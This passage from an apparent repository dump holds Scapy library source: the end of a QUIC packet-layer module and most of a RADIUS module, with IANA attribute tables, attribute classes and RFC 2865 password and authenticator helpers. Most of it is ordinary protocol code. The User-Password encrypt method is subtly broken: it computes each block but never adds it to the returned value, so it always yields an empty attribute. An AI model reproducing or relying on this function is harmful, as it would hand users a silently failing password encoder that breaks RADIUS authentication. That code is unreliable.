pkt is not None:\n            PacketNumber = pkt.PacketNumber or 0\n            if PacketNumber < 0 or PacketNumber > 0xFFFFFFFF:\n                raise struct.error(\"requires 0 <= number <= 0xFFFFFFFF\")\n            if PacketNumber < 0x100:\n                return 0\n            elif PacketNumber < 0x10000:\n                return 1\n            elif PacketNumber < 0x1000000:\n                return 2\n            else:\n                return 3\n        elif x is None:\n            return 0\n        return x\n\n\nclass QUIC_Initial(QUIC):\n    name = \"QUIC - Initial\"\n    Version = 0x00000001\n    fields_desc = (\n        [\n            BitEnumField(\"HeaderForm\", 1, 1, _quic_long_hdr),\n            BitField(\"FixedBit\", 1, 1),\n            BitEnumField(\"LongPacketType\", 0, 2, _quic_long_pkttyp),\n            BitField(\"Reserved\", 0, 2),\n            QuicPacketNumberBitFieldLenField(\"PacketNumberLen\", None, 2),\n        ]\n        + QUIC_Version.fields_desc[2:7]\n        + [\n            QuicVarLenField(\"TokenLen\", None, length_of=\"Token\"),\n            StrLenField(\"Token\", \"\", length_from=lambda pkt: pkt.TokenLen),\n            QuicVarIntField(\"Length\", 0),\n            QuicPacketNumberField(\"PacketNumber\", 0),\n        ]\n    )\n\n\n# RFC9000 sect 17.2.3\nclass QUIC_0RTT(QUIC):\n    name = \"QUIC - 0-RTT\"\n    LongPacketType = 1\n    fields_desc = QUIC_Initial.fields_desc[:10] + [\n        QuicVarIntField(\"Length\", 0),\n        QuicPacketNumberField(\"PacketNumber\", 0),\n    ]\n\n\n# RFC9000 sect 17.2.4\nclass QUIC_Handshake(QUIC):\n    name = \"QUIC - Handshake\"\n    LongPacketType = 2\n    fields_desc = QUIC_0RTT.fields_desc\n\n\n# RFC9000 sect 17.2.5\nclass QUIC_Retry(QUIC):\n    name = \"QUIC - Retry\"\n    LongPacketType = 3\n    Version = 0x00000001\n    fields_desc = (\n        QUIC_Initial.fields_desc[:3]\n        + [\n            BitField(\"Unused\", 0, 4),\n        ]\n        + QUIC_Version.fields_desc[2:7]\n    )\n\n\n# RFC9000 sect 17.3\nclass QUIC_1RTT(QUIC):\n    name = \"QUIC - 1-RTT\"\n    fields_desc = [\n        BitEnumField(\"HeaderForm\", 0, 1, _quic_long_hdr),\n        BitField(\"FixedBit\", 1, 1),\n        BitField(\"SpinBit\", 0, 1),\n        BitField(\"Reserved\", 0, 2),\n        BitField(\"KeyPhase\", 0, 1),\n        QuicPacketNumberBitFieldLenField(\"PacketNumberLen\", None, 2),\n        # FIXME - Destination Connection ID\n        QuicPacketNumberField(\"PacketNumber\", 0),\n    ]\n\n\n# RFC9000 sect 19.1\nclass QUIC_PADDING(Packet):\n    fields_desc = [\n        ByteEnumField(\"Type\", 0x00, _quic_payloads),\n    ]\n\n\n# RFC9000 sect 19.2\nclass QUIC_PING(Packet):\n    fields_desc = [\n        ByteEnumField(\"Type\", 0x01, _quic_payloads),\n    ]\n\n\n# RFC9000 sect 19.3\nclass QUIC_ACK(Packet):\n    fields_desc = [\n        ByteEnumField(\"Type\", 0x02, _quic_payloads),\n    ]\n\n\n# Bindings\n# bind_bottom_up(UDP, QUIC, dport=443)\n# bind_bottom_up(UDP, QUIC, sport=443)\n# bind_layers(UDP, QUIC, dport=443, sport=443)\n"
  },
  {
    "path": "scapy/layers/radius.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Acknowledgment: Vincent Mauge <vmauge.nospam@nospam.gmail.com>\n\n\"\"\"\nRADIUS (Remote Authentication Dial In User Service)\n\nTo disable Radius-EAP defragmentation (True by default), you can use::\n\n    conf.contribs.setdefault(\"radius\", {}).setdefault(\"auto-defrag\", False)\n\"\"\"\n\nimport collections\nimport enum\nimport hashlib\nimport hmac\nimport struct\n\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.compat import bytes_encode\nfrom scapy.config import conf, crypto_validator\nfrom scapy.error import log_runtime, Scapy_Exception\nfrom scapy.packet import (\n    Packet,\n    Padding,\n    bind_layers,\n    bind_bottom_up,\n)\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    FieldLenField,\n    IPField,\n    IntEnumField,\n    IntField,\n    MultiEnumField,\n    MultipleTypeField,\n    PacketLenField,\n    PacketListField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    XStrFixedLenField,\n    XStrLenField,\n)\nfrom scapy.sendrecv import send\nfrom scapy.utils import strxor\n\nfrom scapy.layers.eap import EAP\nfrom scapy.layers.inet import UDP, IP\nfrom scapy.layers.ntlm import MD4le\n\nif conf.crypto_valid:\n    from scapy.layers.tls.crypto.cipher_block import Cipher_DES_ECB\n    from scapy.layers.tls.crypto.hash import (\n        Hash_MD4,\n        Hash_MD5,\n        Hash_SHA,\n    )\nelse:\n    Cipher_DES_ECB = None\n    Hash_MD4 = Hash_MD5 = Hash_SHA = None\n\n\n# https://www.iana.org/assignments/radius-types/radius-types.xhtml\n_radius_attribute_types = {\n    1: \"User-Name\",\n    2: \"User-Password\",\n    3: \"CHAP-Password\",\n    4: \"NAS-IP-Address\",\n    5: \"NAS-Port\",\n    6: \"Service-Type\",\n    7: \"Framed-Protocol\",\n    8: \"Framed-IP-Address\",\n    9: \"Framed-IP-Netmask\",\n    10: \"Framed-Routing\",\n    11: \"Filter-Id\",\n    12: \"Framed-MTU\",\n    13: \"Framed-Compression\",\n    14: \"Login-IP-Host\",\n    15: \"Login-Service\",\n    16: \"Login-TCP-Port\",\n    17: \"Unassigned\",\n    18: \"Reply-Message\",\n    19: \"Callback-Number\",\n    20: \"Callback-Id\",\n    21: \"Unassigned\",\n    22: \"Framed-Route\",\n    23: \"Framed-IPX-Network\",\n    24: \"State\",\n    25: \"Class\",\n    26: \"Vendor-Specific\",\n    27: \"Session-Timeout\",\n    28: \"Idle-Timeout\",\n    29: \"Termination-Action\",\n    30: \"Called-Station-Id\",\n    31: \"Calling-Station-Id\",\n    32: \"NAS-Identifier\",\n    33: \"Proxy-State\",\n    34: \"Login-LAT-Service\",\n    35: \"Login-LAT-Node\",\n    36: \"Login-LAT-Group\",\n    37: \"Framed-AppleTalk-Link\",\n    38: \"Framed-AppleTalk-Network\",\n    39: \"Framed-AppleTalk-Zone\",\n    40: \"Acct-Status-Type\",\n    41: \"Acct-Delay-Time\",\n    42: \"Acct-Input-Octets\",\n    43: \"Acct-Output-Octets\",\n    44: \"Acct-Session-Id\",\n    45: \"Acct-Authentic\",\n    46: \"Acct-Session-Time\",\n    47: \"Acct-Input-Packets\",\n    48: \"Acct-Output-Packets\",\n    49: \"Acct-Terminate-Cause\",\n    50: \"Acct-Multi-Session-Id\",\n    51: \"Acct-Link-Count\",\n    52: \"Acct-Input-Gigawords\",\n    53: \"Acct-Output-Gigawords\",\n    54: \"Unassigned\",\n    55: \"Event-Timestamp\",\n    56: \"Egress-VLANID\",\n    57: \"Ingress-Filters\",\n    58: \"Egress-VLAN-Name\",\n    59: \"User-Priority-Table\",\n    60: \"CHAP-Challenge\",\n    61: \"NAS-Port-Type\",\n    62: \"Port-Limit\",\n    63: \"Login-LAT-Port\",\n    64: \"Tunnel-Type\",\n    65: \"Tunnel-Medium-Type\",\n    66: \"Tunnel-Client-Endpoint\",\n    67: \"Tunnel-Server-Endpoint\",\n    68: \"Acct-Tunnel-Connection\",\n    69: \"Tunnel-Password\",\n    70: \"ARAP-Password\",\n    71: \"ARAP-Features\",\n    72: \"ARAP-Zone-Access\",\n    73: \"ARAP-Security\",\n    74: \"ARAP-Security-Data\",\n    75: \"Password-Retry\",\n    76: \"Prompt\",\n    77: \"Connect-Info\",\n    78: \"Configuration-Token\",\n    79: \"EAP-Message\",\n    80: \"Message-Authenticator\",\n    81: \"Tunnel-Private-Group-ID\",\n    82: \"Tunnel-Assignment-ID\",\n    83: \"Tunnel-Preference\",\n    84: \"ARAP-Challenge-Response\",\n    85: \"Acct-Interim-Interval\",\n    86: \"Acct-Tunnel-Packets-Lost\",\n    87: \"NAS-Port-Id\",\n    88: \"Framed-Pool\",\n    89: \"CUI\",\n    90: \"Tunnel-Client-Auth-ID\",\n    91: \"Tunnel-Server-Auth-ID\",\n    92: \"NAS-Filter-Rule\",\n    93: \"Unassigned\",\n    94: \"Originating-Line-Info\",\n    95: \"NAS-IPv6-Address\",\n    96: \"Framed-Interface-Id\",\n    97: \"Framed-IPv6-Prefix\",\n    98: \"Login-IPv6-Host\",\n    99: \"Framed-IPv6-Route\",\n    100: \"Framed-IPv6-Pool\",\n    101: \"Error-Cause\",\n    102: \"EAP-Key-Name\",\n    103: \"Digest-Response\",\n    104: \"Digest-Realm\",\n    105: \"Digest-Nonce\",\n    106: \"Digest-Response-Auth\",\n    107: \"Digest-Nextnonce\",\n    108: \"Digest-Method\",\n    109: \"Digest-URI\",\n    110: \"Digest-Qop\",\n    111: \"Digest-Algorithm\",\n    112: \"Digest-Entity-Body-Hash\",\n    113: \"Digest-CNonce\",\n    114: \"Digest-Nonce-Count\",\n    115: \"Digest-Username\",\n    116: \"Digest-Opaque\",\n    117: \"Digest-Auth-Param\",\n    118: \"Digest-AKA-Auts\",\n    119: \"Digest-Domain\",\n    120: \"Digest-Stale\",\n    121: \"Digest-HA1\",\n    122: \"SIP-AOR\",\n    123: \"Delegated-IPv6-Prefix\",\n    124: \"MIP6-Feature-Vector\",\n    125: \"MIP6-Home-Link-Prefix\",\n    126: \"Operator-Name\",\n    127: \"Location-Information\",\n    128: \"Location-Data\",\n    129: \"Basic-Location-Policy-Rules\",\n    130: \"Extended-Location-Policy-Rules\",\n    131: \"Location-Capable\",\n    132: \"Requested-Location-Info\",\n    133: \"Framed-Management-Protocol\",\n    134: \"Management-Transport-Protection\",\n    135: \"Management-Policy-Id\",\n    136: \"Management-Privilege-Level\",\n    137: \"PKM-SS-Cert\",\n    138: \"PKM-CA-Cert\",\n    139: \"PKM-Config-Settings\",\n    140: \"PKM-Cryptosuite-List\",\n    141: \"PKM-SAID\",\n    142: \"PKM-SA-Descriptor\",\n    143: \"PKM-Auth-Key\",\n    144: \"DS-Lite-Tunnel-Name\",\n    145: \"Mobile-Node-Identifier\",\n    146: \"Service-Selection\",\n    147: \"PMIP6-Home-LMA-IPv6-Address\",\n    148: \"PMIP6-Visited-LMA-IPv6-Address\",\n    149: \"PMIP6-Home-LMA-IPv4-Address\",\n    150: \"PMIP6-Visited-LMA-IPv4-Address\",\n    151: \"PMIP6-Home-HN-Prefix\",\n    152: \"PMIP6-Visited-HN-Prefix\",\n    153: \"PMIP6-Home-Interface-ID\",\n    154: \"PMIP6-Visited-Interface-ID\",\n    155: \"PMIP6-Home-IPv4-HoA\",\n    156: \"PMIP6-Visited-IPv4-HoA\",\n    157: \"PMIP6-Home-DHCP4-Server-Address\",\n    158: \"PMIP6-Visited-DHCP4-Server-Address\",\n    159: \"PMIP6-Home-DHCP6-Server-Address\",\n    160: \"PMIP6-Visited-DHCP6-Server-Address\",\n    161: \"PMIP6-Home-IPv4-Gateway\",\n    162: \"PMIP6-Visited-IPv4-Gateway\",\n    163: \"EAP-Lower-Layer\",\n    164: \"GSS-Acceptor-Service-Name\",\n    165: \"GSS-Acceptor-Host-Name\",\n    166: \"GSS-Acceptor-Service-Specifics\",\n    167: \"GSS-Acceptor-Realm-Name\",\n    168: \"Framed-IPv6-Address\",\n    169: \"DNS-Server-IPv6-Address\",\n    170: \"Route-IPv6-Information\",\n    171: \"Delegated-IPv6-Prefix-Pool\",\n    172: \"Stateful-IPv6-Address-Pool\",\n    173: \"IPv6-6rd-Configuration\",\n    174: \"Allowed-Called-Station-Id\",\n    175: \"EAP-Peer-Id\",\n    176: \"EAP-Server-Id\",\n    177: \"Mobility-Domain-Id\",\n    178: \"Preauth-Timeout\",\n    179: \"Network-Id-Name\",\n    180: \"EAPoL-Announcement\",\n    181: \"WLAN-HESSID\",\n    182: \"WLAN-Venue-Info\",\n    183: \"WLAN-Venue-Language\",\n    184: \"WLAN-Venue-Name\",\n    185: \"WLAN-Reason-Code\",\n    186: \"WLAN-Pairwise-Cipher\",\n    187: \"WLAN-Group-Cipher\",\n    188: \"WLAN-AKM-Suite\",\n    189: \"WLAN-Group-Mgmt-Cipher\",\n    190: \"WLAN-RF-Band\",\n    191: \"Unassigned\",\n}\n\n\nclass RadiusAttribute(Packet):\n    \"\"\"\n    Implements a RADIUS attribute (RFC 2865). Every specific RADIUS attribute\n    class should inherit from this one.\n    \"\"\"\n\n    name = \"Radius Attribute\"\n    fields_desc = [\n        ByteEnumField(\"type\", 1, _radius_attribute_types),\n        FieldLenField(\"len\", None, \"value\", \"B\",\n                      adjust=lambda pkt, x: len(pkt.value) + 2),\n        StrLenField(\"value\", \"\", length_from=lambda pkt: pkt.len - 2)\n    ]\n\n    registered_attributes = {}\n\n    @classmethod\n    def register_variant(cls):\n        \"\"\"\n        Registers the RADIUS attributes defined in this module.\n        \"\"\"\n\n        if hasattr(cls, \"val\"):\n            cls.registered_attributes[cls.val] = cls\n        else:\n            cls.registered_attributes[cls.type.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        Returns the right RadiusAttribute class for the given data.\n        \"\"\"\n\n        if _pkt:\n            attr_type = _pkt[0]\n            return cls.registered_attributes.get(attr_type, cls)\n        return cls\n\n    def post_build(self, p, pay):\n        length = self.len\n        if length is None:\n            length = len(p)\n            p = p[:1] + struct.pack(\"!B\", length) + p[2:]\n        return p\n\n    def guess_payload_class(self, _):\n        return Padding\n\n\nclass _SpecificRadiusAttr(RadiusAttribute):\n    \"\"\"\n    Class from which every \"specific\" RADIUS attribute defined in this module\n    inherits.\n    \"\"\"\n\n    __slots__ = [\"val\"]\n    match_subclass = True\n\n    def __init__(self, _pkt=\"\", post_transform=None, _internal=0, _underlayer=None, **fields):  # noqa: E501\n        super(_SpecificRadiusAttr, self).__init__(\n            _pkt,\n            post_transform,\n            _internal,\n            _underlayer,\n            **fields\n        )\n        self.fields[\"type\"] = self.val\n        name_parts = self.__class__.__name__.split('RadiusAttr_')\n        if len(name_parts) < 2:\n            raise Scapy_Exception(\n                \"Invalid class name: {}\".format(self.__class__.__name__)\n            )\n        self.name = name_parts[1].replace('_', '-')\n\n\n#\n# RADIUS attributes which values are 4 bytes integers\n#\n\nclass _RadiusAttrIntValue(_SpecificRadiusAttr):\n    \"\"\"\n    Implements a RADIUS attribute which value field is 4 bytes long integer.\n    \"\"\"\n\n    fields_desc = [\n        ByteEnumField(\"type\", 5, _radius_attribute_types),\n        ByteField(\"len\", 6),\n        IntField(\"value\", 0)\n    ]\n\n\nclass RadiusAttr_User_Name(_SpecificRadiusAttr):\n    \"\"\"RFC 2865\"\"\"\n    val = 1\n\n\nclass RadiusAttr_NAS_Port(_RadiusAttrIntValue):\n    \"\"\"RFC 2865\"\"\"\n    val = 5\n\n\nclass RadiusAttr_Framed_MTU(_RadiusAttrIntValue):\n    \"\"\"RFC 2865\"\"\"\n    val = 12\n\n\nclass RadiusAttr_Login_TCP_Port(_RadiusAttrIntValue):\n    \"\"\"RFC 2865\"\"\"\n    val = 16\n\n\nclass RadiusAttr_Session_Timeout(_RadiusAttrIntValue):\n    \"\"\"RFC 2865\"\"\"\n    val = 27\n\n\nclass RadiusAttr_Idle_Timeout(_RadiusAttrIntValue):\n    \"\"\"RFC 2865\"\"\"\n    val = 28\n\n\nclass RadiusAttr_Framed_AppleTalk_Link(_RadiusAttrIntValue):\n    \"\"\"RFC 2865\"\"\"\n    val = 37\n\n\nclass RadiusAttr_Framed_AppleTalk_Network(_RadiusAttrIntValue):\n    \"\"\"RFC 2865\"\"\"\n    val = 38\n\n\nclass RadiusAttr_Acct_Delay_Time(_RadiusAttrIntValue):\n    \"\"\"RFC 2866\"\"\"\n    val = 41\n\n\nclass RadiusAttr_Acct_Input_Octets(_RadiusAttrIntValue):\n    \"\"\"RFC 2866\"\"\"\n    val = 42\n\n\nclass RadiusAttr_Acct_Output_Octets(_RadiusAttrIntValue):\n    \"\"\"RFC 2866\"\"\"\n    val = 43\n\n\nclass RadiusAttr_Acct_Session_Time(_RadiusAttrIntValue):\n    \"\"\"RFC 2866\"\"\"\n    val = 46\n\n\nclass RadiusAttr_Acct_Input_Packets(_RadiusAttrIntValue):\n    \"\"\"RFC 2866\"\"\"\n    val = 47\n\n\nclass RadiusAttr_Acct_Output_Packets(_RadiusAttrIntValue):\n    \"\"\"RFC 2866\"\"\"\n    val = 48\n\n\nclass RadiusAttr_Acct_Link_Count(_RadiusAttrIntValue):\n    \"\"\"RFC 2866\"\"\"\n    val = 51\n\n\nclass RadiusAttr_Acct_Input_Gigawords(_RadiusAttrIntValue):\n    \"\"\"RFC 2869\"\"\"\n    val = 52\n\n\nclass RadiusAttr_Acct_Output_Gigawords(_RadiusAttrIntValue):\n    \"\"\"RFC 2869\"\"\"\n    val = 53\n\n\nclass RadiusAttr_Event_Timestamp(_RadiusAttrIntValue):\n    \"\"\"RFC 2869\"\"\"\n    val = 55\n\n\nclass RadiusAttr_Egress_VLANID(_RadiusAttrIntValue):\n    \"\"\"RFC 4675\"\"\"\n    val = 56\n\n\nclass RadiusAttr_Port_Limit(_RadiusAttrIntValue):\n    \"\"\"RFC 2865\"\"\"\n    val = 62\n\n\nclass RadiusAttr_ARAP_Security(_RadiusAttrIntValue):\n    \"\"\"RFC 2869\"\"\"\n    val = 73\n\n\nclass RadiusAttr_Password_Retry(_RadiusAttrIntValue):\n    \"\"\"RFC 2869\"\"\"\n    val = 75\n\n\nclass RadiusAttr_Tunnel_Preference(_RadiusAttrIntValue):\n    \"\"\"RFC 2868\"\"\"\n    val = 83\n\n\nclass RadiusAttr_Acct_Interim_Interval(_RadiusAttrIntValue):\n    \"\"\"RFC 2869\"\"\"\n    val = 85\n\n\nclass RadiusAttr_Acct_Tunnel_Packets_Lost(_RadiusAttrIntValue):\n    \"\"\"RFC 2867\"\"\"\n    val = 86\n\n\nclass RadiusAttr_Management_Privilege_Level(_RadiusAttrIntValue):\n    \"\"\"RFC 5607\"\"\"\n    val = 136\n\n\nclass RadiusAttr_Mobility_Domain_Id(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 177\n\n\nclass RadiusAttr_Preauth_Timeout(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 178\n\n\nclass RadiusAttr_WLAN_Venue_Info(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 182\n\n\nclass RadiusAttr_WLAN_Reason_Code(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 185\n\n\nclass RadiusAttr_WLAN_Pairwise_Cipher(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 186\n\n\nclass RadiusAttr_WLAN_Group_Cipher(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 187\n\n\nclass RadiusAttr_WLAN_AKM_Suite(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 188\n\n\nclass RadiusAttr_WLAN_Group_Mgmt_Cipher(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 189\n\n\nclass RadiusAttr_WLAN_RF_Band(_RadiusAttrIntValue):\n    \"\"\"RFC 7268\"\"\"\n    val = 190\n\n\n#\n# RADIUS attributes which values are string (displayed as hex)\n#\n\nclass _RadiusAttrHexStringVal(_SpecificRadiusAttr):\n    \"\"\"\n    Implements a RADIUS attribute which value field is a string that will be\n    as a hex string.\n    \"\"\"\n\n    __slots__ = [\"val\"]\n\n    def __init__(self, _pkt=\"\", post_transform=None, _internal=0, _underlayer=None, **fields):  # noqa: E501\n        super(_RadiusAttrHexStringVal, self).__init__(\n            _pkt,\n            post_transform,\n            _internal,\n            _underlayer,\n            **fields\n        )\n        self.fields[\"type\"] = self.val\n        name_parts = self.__class__.__name__.split('RadiusAttr_')\n        if len(name_parts) < 2:\n            raise Scapy_Exception(\n                \"Invalid class name: {}\".format(self.__class__.__name__)\n            )\n        self.name = name_parts[1].replace('_', '-')\n\n    fields_desc = [\n        ByteEnumField(\"type\", 24, _radius_attribute_types),\n        FieldLenField(\n            \"len\",\n            None,\n            \"value\",\n            \"B\",\n            adjust=lambda p, x: len(p.value) + 2\n        ),\n        XStrLenField(\"value\", \"\", length_from=lambda p: p.len - 2 if p.len else 0)  # noqa: E501\n    ]\n\n\nclass RadiusAttr_User_Password(_RadiusAttrHexStringVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 2\n\n    def decrypt(self, radius_packet, secret):\n        \"\"\"\n        Return the decrypted value of the User-Password field\n        RFC2865 sect 5.2\n        \"\"\"\n        password = b\"\"\n\n        encrypted = self.value\n        ci = radius_packet.authenticator\n        while encrypted:\n            bi = Hash_MD5().digest(secret + ci)\n            ci, encrypted = encrypted[:16], encrypted[16:]\n            password += strxor(ci, bi)\n\n        return password.rstrip(b\"\\x00\")\n\n    @staticmethod\n    def encrypt(radius_packet, password, secret):\n        \"\"\"\n        Create a User-Password attribute from a secret\n        RFC2865 sect 5.2\n        \"\"\"\n        password = bytes_encode(password)\n\n        # Pad to 16 octets boundary\n        password += (-len(password) % 16) * b\"\\x00\"\n\n        encrypted = b\"\"\n        ci = radius_packet.authenticator\n        while password:\n            bi = Hash_MD5().digest(secret + ci)\n            ci = strxor(password[:16], bi)\n            password = password[16:]\n\n        return RadiusAttr_User_Password(value=encrypted)\n\n\nclass RadiusAttr_State(_RadiusAttrHexStringVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 24\n\n\ndef prepare_packed_data(radius_packet, RequestAuth):\n    \"\"\"\n    Pack RADIUS data prior computing the authentication MAC\n    \"\"\"\n    s = bytes(radius_packet)\n    Code_Id_Length = s[:4]\n    Attributes = s[4 + 16:]\n    return Code_Id_Length + RequestAuth + Attributes\n\n\nclass RadiusAttr_Message_Authenticator(_RadiusAttrHexStringVal):\n    \"\"\"RFC 2869\"\"\"\n    val = 80\n\n    fields_desc = [\n        ByteEnumField(\"type\", 24, _radius_attribute_types),\n        FieldLenField(\n            \"len\",\n            18,\n            \"value\",\n            \"B\",\n        ),\n        XStrFixedLenField(\"value\", \"\\x00\" * 16, length=16)\n    ]\n\n    @staticmethod\n    def compute_message_authenticator(radius_packet, packed_req_authenticator,\n                                      shared_secret):\n        \"\"\"\n        Computes the \"Message-Authenticator\" of a given RADIUS packet.\n        (RFC 2869 - Page 33)\n        \"\"\"\n\n        # Make sure the current auth is empty\n        attr = radius_packet[RadiusAttr_Message_Authenticator]\n        attr.value = b\"\\x00\" * (attr.len - 2)\n\n        data = prepare_packed_data(radius_packet, packed_req_authenticator)\n        radius_hmac = hmac.new(shared_secret, data, hashlib.md5)\n\n        return radius_hmac.digest()\n\n#\n# RADIUS attributes which values are IPv4 prefixes\n#\n\n\nclass _RadiusAttrIPv4AddrVal(_SpecificRadiusAttr):\n    \"\"\"\n    Implements a RADIUS attribute which value field is an IPv4 address.\n    \"\"\"\n\n    __slots__ = [\"val\"]\n\n    fields_desc = [\n        ByteEnumField(\"type\", 4, _radius_attribute_types),\n        ByteField(\"len\", 6),\n        IPField(\"value\", \"0.0.0.0\")\n    ]\n\n\nclass RadiusAttr_NAS_IP_Address(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 4\n\n\nclass RadiusAttr_Framed_IP_Address(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 8\n\n\nclass RadiusAttr_Framed_IP_Netmask(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 9\n\n\nclass RadiusAttr_Login_IP_Host(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 14\n\n\nclass RadiusAttr_Framed_IPX_Network(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 23\n\n\nclass RadiusAttr_PMIP6_Home_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 6572\"\"\"\n    val = 149\n\n\nclass RadiusAttr_PMIP6_Visited_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 6572\"\"\"\n    val = 150\n\n\nclass RadiusAttr_PMIP6_Home_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 6572\"\"\"\n    val = 157\n\n\nclass RadiusAttr_PMIP6_Visited_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 6572\"\"\"\n    val = 158\n\n\nclass RadiusAttr_PMIP6_Home_IPv4_Gateway(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 6572\"\"\"\n    val = 161\n\n\nclass RadiusAttr_PMIP6_Visited_IPv4_Gateway(_RadiusAttrIPv4AddrVal):\n    \"\"\"RFC 6572\"\"\"\n    val = 162\n\n\n# See IANA registry \"RADIUS Types\"\n_radius_attrs_values = {\n    # Service-Type\n    6:\n    {\n        1: \"Login\",\n        2: \"Framed\",\n        3: \"Callback Login\",\n        4: \"Callback Framed\",\n        5: \"Outbound\",\n        6: \"Administrative\",\n        7: \"NAS Prompt\",\n        8: \"Authenticate Only\",\n        9: \"Callback NAS Prompt\",\n        10: \"Call Check\",\n        11: \"Callback Administrative\",\n        12: \"Voice\",\n        13: \"Fax\",\n        14: \"Modem Relay\",\n        15: \"IAPP-Register\",\n        16: \"IAPP-AP-Check\",\n        17: \"Authorize Only\",\n        18: \"Framed-Management\",\n        19: \"Additional-Authorization\"\n    },\n\n    # Framed-Protocol\n    7:\n    {\n        1: \"PPP\",\n        2: \"SLIP\",\n        3: \"AppleTalk Remote Access Protocol (ARAP)\",\n        4: \"Gandalf proprietary SingleLink/MultiLink protocol\",\n        5: \"Xylogics proprietary IPX/SLIP\",\n        6: \"X.75 Synchronous\",\n        7: \"GPRS PDP Context\"\n    },\n\n    # Framed-Routing\n    10:\n    {\n        0: \"None\",\n        1: \"Send routing packets\",\n        2: \"Listen for routing packets\",\n        3: \"Send and Listen\"\n    },\n\n    # Framed-Compression\n    13:\n    {\n        0: \"None\",\n        1: \"VJ TCP/IP header compression\",\n        2: \"IPX header compression\",\n        3: \"Stac-LZS compression\"\n    },\n\n    # Login-Service\n    15:\n    {\n        0: \"Telnet\",\n        1: \"Rlogin\",\n        2: \"TCP Clear\",\n        3: \"PortMaster (proprietary)\",\n        4: \"LAT\",\n        5: \"X25-PAD\",\n        6: \"X25-T3POS\",\n        7: \"Unassigned\",\n        8: \"TCP Clear Quiet (suppresses any NAS-generated connect string)\"\n    },\n\n    # Termination-Action\n    29:\n    {\n        0: \"Default\",\n        1: \"RADIUS-Request\"\n    },\n\n    # Acct-Status-Type\n    40:\n    {\n        1: \"Start\",\n        2: \"Stop\",\n        3: \"Interim-Update\",\n        4: \"Unassigned\",\n        5: \"Unassigned\",\n        6: \"Unassigned\",\n        7: \"Accounting-On\",\n        8: \"Accounting-Off\",\n        9: \"Tunnel-Start\",\n        10: \"Tunnel-Stop\",\n        11: \"Tunnel-Reject\",\n        12: \"Tunnel-Link-Start\",\n        13: \"Tunnel-Link-Stop\",\n        14: \"Tunnel-Link-Reject\",\n        15: \"Failed\"\n    },\n\n    # Acct-Authentic\n    45:\n    {\n        1: \"RADIUS\",\n        2: \"Local\",\n        3: \"Remote\",\n        4: \"Diameter\"\n    },\n\n    # Acct-Terminate-Cause\n    49:\n    {\n        1: \"User Request\",\n        2: \"Lost Carrier\",\n        3: \"Lost Service\",\n        4: \"Idle Timeout\",\n        5: \"Session Timeout\",\n        6: \"Admin Reset\",\n        7: \"Admin Reboot\",\n        8: \"Port Error\",\n        9: \"NAS Error\",\n        10: \"NAS Request\",\n        11: \"NAS Reboot\",\n        12: \"Port Unneeded\",\n        13: \"Port Preempted\",\n        14: \"Port Suspended\",\n        15: \"Service Unavailable\",\n        16: \"Callback\",\n        17: \"User Error\",\n        18: \"Host Request\",\n        19: \"Supplicant Restart\",\n        20: \"Reauthentication Failure\",\n        21: \"Port Reinitialized\",\n        22: \"Port Administratively Disabled\",\n        23: \"Lost Power\",\n    },\n\n    # NAS-Port-Type\n    61:\n    {\n        0: \"Async\",\n        1: \"Sync\",\n        2: \"ISDN Sync\",\n        3: \"ISDN Async V.120\",\n        4: \"ISDN Async V.110\",\n        5: \"Virtual\",\n        6: \"PIAFS\",\n        7: \"HDLC Clear Channel\",\n        8: \"X.25\",\n        9: \"X.75\",\n        10: \"G.3 Fax\",\n        11: \"SDSL - Symmetric DSL\",\n        12: \"ADSL-CAP - Asymmetric DSL, Carrierless Amplitude Phase Modulation\",  # noqa: E501\n        13: \"ADSL-DMT - Asymmetric DSL, Discrete Multi-Tone\",\n        14: \"IDSL - ISDN Digital Subscriber Line\",\n        15: \"Ethernet\",\n        16: \"xDSL - Digital Subscriber Line of unknown type\",\n        17: \"Cable\",\n        18: \"Wireles - Other\",\n        19: \"Wireless - IEEE 802.11\",\n        20: \"Token-Ring\",\n        21: \"FDDI\",\n        22: \"Wireless - CDMA2000\",\n        23: \"Wireless - UMTS\",\n        24: \"Wireless - 1X-EV\",\n        25: \"IAPP\",\n        26: \"FTTP - Fiber to the Premises\",\n        27: \"Wireless - IEEE 802.16\",\n        28: \"Wireless - IEEE 802.20\",\n        29: \"Wireless - IEEE 802.22\",\n        30: \"PPPoA - PPP over ATM\",\n        31: \"PPPoEoA - PPP over Ethernet over ATM\",\n        32: \"PPPoEoE - PPP over Ethernet over Ethernet\",\n        33: \"PPPoEoVLAN - PPP over Ethernet over VLAN\",\n        34: \"PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ\",\n        35: \"xPON - Passive Optical Network\",\n        36: \"Wireless - XGP\",\n        37: \"WiMAX Pre-Release 8 IWK 